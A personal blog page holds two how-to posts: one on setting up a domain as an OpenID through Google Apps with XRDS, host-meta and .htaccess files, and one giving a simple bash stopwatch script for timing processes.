I don’t have any ideas, why OpenID not too familiar yet since its first existences in May 2005. As one of authentication protocol, OpenID purposed to provide a concise way to authenticated user by only entering owned domain name & dropping password field – in usual manner to support single-sign-on – (of course, user need to be self confirmed at first use in any login page). Some said that basic security protocol used by OpenID is too weak. Perhaps, this makes provider such as PayPal, Yahoo, IBM, VeriSign, Facebook & Google enhancing their own process based on its standard protocol just to make the use of OpenID more secure, but this makes OpenID not kind of universal things.

Based on my experience - by continuing my previous article – with the same topic: Single Account, Multiple Services, here’s my report about generating OpenID on your own domain name – more specific actually - in a Google Apps. You may ignore this article if you have already registering your OpenID in common provider likes ClaimID, MyOpenID, etc, but I’m afraid you’ll lose how to get this things work. And on this current article, I’d covered out.

My experience begun with my curiosity to make my owned domain name as a wide & acceptable OpenID on any login pages that support it. Based on Google API’s, the first thing I need to provide on my www folder was 2 files only; openid & host-meta file. Each of it has structures below:

openid files:
<?xml version="1.0" encoding="UTF-8"?>
<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)">
<XRD>
<CanonicalID>abc.com</CanonicalID>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<URI>https://www.google.com/a/abc.com/o8/ud?be=o8&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns.ext1=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ext1.mode=fetch_request&openid.ext1.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ext1.type.country=http%3A%2F%2Faxschema.org%2Fcontact%2Fcountry%2Fhome&openid.ext1.type.language=http%3A%2F%2Faxschema.org%2Fpref%2Flanguage&openid.ext1.type.firstName=http%3A%2F%2Faxschema.org%2FnamePerson%2Ffirst&openid.ext1.type.lastName=http%3A%2F%2Faxschema.org%2FnamePerson%2Flast&openid.ext1.required=email%2Ccountry%2Clanguage%2CfirstName%2ClastName&openid.ns.ext2=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fui%2F1.0&openid.ext2.icon=true</URI>
</Service>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/server</Type>
<URI>https://www.google.com/a/abc.com/o8/ud?be=o8&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns.ext1=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ext1.mode=fetch_request&openid.ext1.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ext1.type.country=http%3A%2F%2Faxschema.org%2Fcontact%2Fcountry%2Fhome&openid.ext1.type.language=http%3A%2F%2Faxschema.org%2Fpref%2Flanguage&openid.ext1.type.firstName=http%3A%2F%2Faxschema.org%2FnamePerson%2Ffirst&openid.ext1.type.lastName=http%3A%2F%2Faxschema.org%2FnamePerson%2Flast&openid.ext1.required=email%2Ccountry%2Clanguage%2CfirstName%2ClastName&openid.ns.ext2=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fui%2F1.0&openid.ext2.icon=true</URI>
</Service>
</XRD>
</xrds:XRDS>


host-meta files:
Link: <https://www.google.com/accounts/o8/site-xrds?hd=abc.com>; rel="describedby http://reltype.google.com/openid/xrd-op"; type="application/xrds+xml"


On both files, don’t forget to replace abc.com with your domain name then upload it on your www directory. Create a directory named by .well-known & move host-meta file in it. As additional, also create (if it doesn’t exist) an index page. In my example, I also copy index.php to index.error.php. You’ll know soon why I created it.

To recognized openid file & adding error 404 forwarder functionality, create (again, if it doesn’t exist) .htaccess file like example below:

.htaccess files:
ErrorDocument 404 /index.error.php
<Files openid>
ForceType application/xrds+xml
</Files>


Now you have the same www directory structure like mine below:



Until this step, you have succeeded creating your own OpenID named with “abc.com/openid”. Test it to a page, let say a blog page. Make a comment & select OpenID identity.



Enter your OpenID “abc.com/openid”. Here below is my example:



Make a preview & submit. Your comment submitted as “openid” which has link to your domain name.



Unfortunately, now we have 2 problems arise: Why if I clicked that link, my browser continues to download this openid file? And why my identity recognized as “openid”? To solve the first problem, change openid file name on www directory to whatever you like. These changes, continues with replacing “openid” with new name on .htaccess file:

ErrorDocument 404 /index.error.php
<Files "what.ever.you.like">
ForceType application/xrds+xml
</Files>


After you changed the name, the structure changes like picture below.



After changed that, try to click again the “openid” link, and tell me what you see? The index page will show replacing downloading file process. This is the reason why we created 404 errors forwarding on .htaccess. Hence, your OpenID also changed from “abc.com/openid” into “abc.com” only. Much simpler, isn’t it?

Anyway, the last problem still unresolved – at least I tried on blogger.com. While I suspect that the blogger OpenID library does not work with Google's (Apps) discovery extensions * is my guess right? *. However, at a time, Google implemented a proof-of-concept implementation of a next-generation OpenID discovery protocol which is it’s not a “full version” yet. Even when it becomes a standard, it is not backwards compatible with the OpenID 2.0 and earlier. Hmm.. see that?



By the way, before you use your OpenID on a different authentication page, why don’t you take a test to http://www.puffypoodles.com/?. On picture above, I’d tested it just to prove that my OpenID is recognized & acceptable. The test result means that with basic OpenID authentication, it succeeded to retrieve all of possible AX (Attribute eXchange) of OpenID, including email address, home country, preferred language, first name & last name. The conclusion is, the treatment of OpenID yet is different on each authentication since it still in “growing” era going to robustness. Maybe in couple years, a standardize of OpenID will be shaped, to make authentication more secure, private & intimate.

Labels: , , ,

  Post a Comment

Universal Stopwatch for UNIX Shell

How to calculate application performance? This is not a brand new question since there’s lots of benchmark software available on each purposes. For example, we can reckon a web based application performance from Firefox add-in named lori (Life of Request Info). This add-in do some basic statistic such as counting downloaded bytes & elapsed time from first click to load the application until it finished rendered to the browser – a simple tool than YSlow (of-course with different purpose), AFAIK. The best is, both of tools above support multi-platform in a Firefox browser. The image below is picture of lori & YSlow inside Firefox running over OpenSolaris 2008.11 on my netbook.



To counting how long process on a non-web based application will take time, perhaps you can try stopwatch application. For some OS, this kit is a build-in feature or at least it’s available on repositories. Below picture explain kind-of stopwatch application on Ubuntu 10.04 downloaded from default repository.



In a meantime you need to perform benchmark on an application but don’t have any internet connection to get those stopwatch (or you have forget to carry-up your watch or cell-phone), you can try to build your own stopwatch kit. The sample below, explain you how to make it from bash scripting shell & absolutely this is a universal kit for multi-platform on UNIX.

#!/bin/bash
BEGIN=$(date +%s)
while true; do
NOW=$(date +%s)
DIFF=$(($NOW - $BEGIN))
MINS=$(($DIFF / 60))
SECS=$(($DIFF % 60))
printf "\rTotal Waktu: %d:%02d" $MINS $SECS
done


Save the script above on text editor and make it executable. Run it from console & do whatever you want to do after doing that.



Have a great day!

Labels: , , ,

  Post a Comment